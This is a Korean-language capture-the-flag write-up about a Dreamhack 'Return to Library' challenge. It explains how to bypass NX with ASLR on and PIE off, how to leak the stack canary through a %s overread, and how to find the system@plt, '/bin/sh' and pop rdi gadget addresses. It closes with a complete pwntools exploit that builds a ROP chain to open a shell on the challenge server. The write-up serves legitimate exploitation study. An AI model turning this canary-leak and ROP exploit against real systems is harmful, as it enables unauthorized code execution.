Return to Library (RTL)
NX blocks shellcode, so the return address goes to a libc function instead. PIE is off, so the offsets hold.
이번 문제에서는 NX를 우회하는 공격 기법으로 널리 알려진 Return To Library(RTL)를 학습합니다

첫번째로 checksec 를 사용해 취약점을 훑어 봅시다. 여기서 ASLR 이 언급되지 않는다면, 적용된것으로 이해하면 됩니 다. 하지만 PIE가 꺼져 있는 실행 파일은 ASLR이 켜져 있어도 메인 바이너리의 코드 세그먼트와 데이터 세그먼트 주소가 고정됩니다. ASLR ON + PIE OFF → libc, stack, heap 등은 랜덤화될 수 있음 → 하지만 메인 바이너리의 코드/데이터 주소는 고정 → 바이너리 안의 “/bin/sh” 주소도 고정
ASLR ON + PIE ON → 메인 바이너리 자체도 랜덤화 → “/bin/sh” 주소도 매번 바뀜

일단 카나리 부터 구합시다. %s는 문자열을 출력할 때 null byte인 \x00을 만날 때까지 계속 출력합니다. 그래서 여기서 는 buf 시작 주소부터 canary 시작 위치까지를 구해야합니다.
(rbp - 0x8) - (rbp - 0x40) 를 합니다. 즉 10진수로 56… 카나리의 시작인 \x00 를 덮을려면 A*57 를 해야한다는것을 알수있습니다. 일단 카나리먼저:

지금부터 RTL 을 사용합니다. NX가 켜져 있으면 stack에 넣은 shellcode를 실행하는 방식은 안 됩니다. 하지만 지금 말한 방식은 shellcode 실행이 아니라 이미 존재하는 코드인 system()을 재사용하는 RTL / ROP 방식입니다. 그래서 NX를 우회할 수 있습니다. 핵심 차이는 이겁니다. 일반 stack shellcode 공격
→ buf 안에 shellcode를 넣음 → return address를 buf 주소로 덮음 → stack의 코드를 실행 → NX 때문에 막힘
반면에 지금 방식은: RTL / ROP 공격 → stack에는 shellcode를 넣지 않음 → return address를 system@plt 주소로 덮음 → 이미 실행 가능한 코드 영역의 system()을 호출 → 인자로 “/bin/sh” 주소 전달 → NX와 직접 충돌하지 않음
현재 필요한 값은 4개입니다: canary, system@plt 주소, “/bin/sh” 주소, ret gadget 주소
왜 pop rdi; ret가 필요하냐면, 64-bit Linux에서는 함수 첫 번째 인자를 rdi 레지스터로 전달합니다. 즉 system(“/bin/sh”)를 호출하려면: rdi = “/bin/sh” 주소 rip = system@plt 가 되어야 합니다.
일단 0x0000000000400754 <+93>: call 0x4005d0 system@plt. 일단 여기 system@plt 의 주소는 0x4005d0.
/bin/sh는 전역 변수로 들어가 있습니다.
const char* binsh = "/bin/sh";
PIE가 꺼져 있다면 이 주소는 고정입니다. gdb에서 이렇게 확인하면 됩니다. p &binsh p binsh x/s binsh 주의할 점은 &binsh와 binsh가 다릅니다. &binsh = binsh 포인터 변수 자체의 주소 binsh = “/bin/sh” 문자열이 있는 주소 공격에 필요한 것은 binsh 값, 즉 “/bin/sh” 문자열 주소입니다.

즉 0x400874
이제 리턴 가젯을 찾아야합니다. 터미널에서 보통 이렇게 찾습니다. ROPgadget —binary ./rtl | grep “pop rdi” 또는: ropper —file ./rtl —search “pop rdi” 예를 들어 결과가 이렇게 나오면:
0x0000000000400853 : pop rdi ; ret
그러면:
pop_rdi = 0x400853

from pwn import * context.arch = "amd64" context.os = "linux" e = ELF("./rtl") HOST =
"host3.dreamhack.games" PORT = 8390 p = remote(HOST, PORT) system_plt = e.plt["system"] binsh =
0x400874 rop = ROP(e) pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0] ret = rop.find_gadget(["ret"])[0]
log.info(f"system@plt = {hex(system_plt)}") log.info(f"pop rdi = {hex(pop_rdi)}") log.info(f"ret = {hex(ret)}")
log.info(f"binsh = {hex(binsh)}") # 1. leak canary p.recvuntil(b"Buf: ") payload = b"A" * 0x39 p.send(payload)
p.recvuntil(b"A" * 0x39) leak = p.recvn(7) cnry = u64(b"\x00" + leak) log.success(f"canary = {hex(cnry)}") #
2. exploit p.recvuntil(b"Buf: ") payload = b"A" * 0x38 payload += p64(cnry) payload += b"B" * 0x8 payload
+= p64(ret) # stack alignment payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system_plt)
p.send(payload) p.sendline(b"cat flag") p.interactive()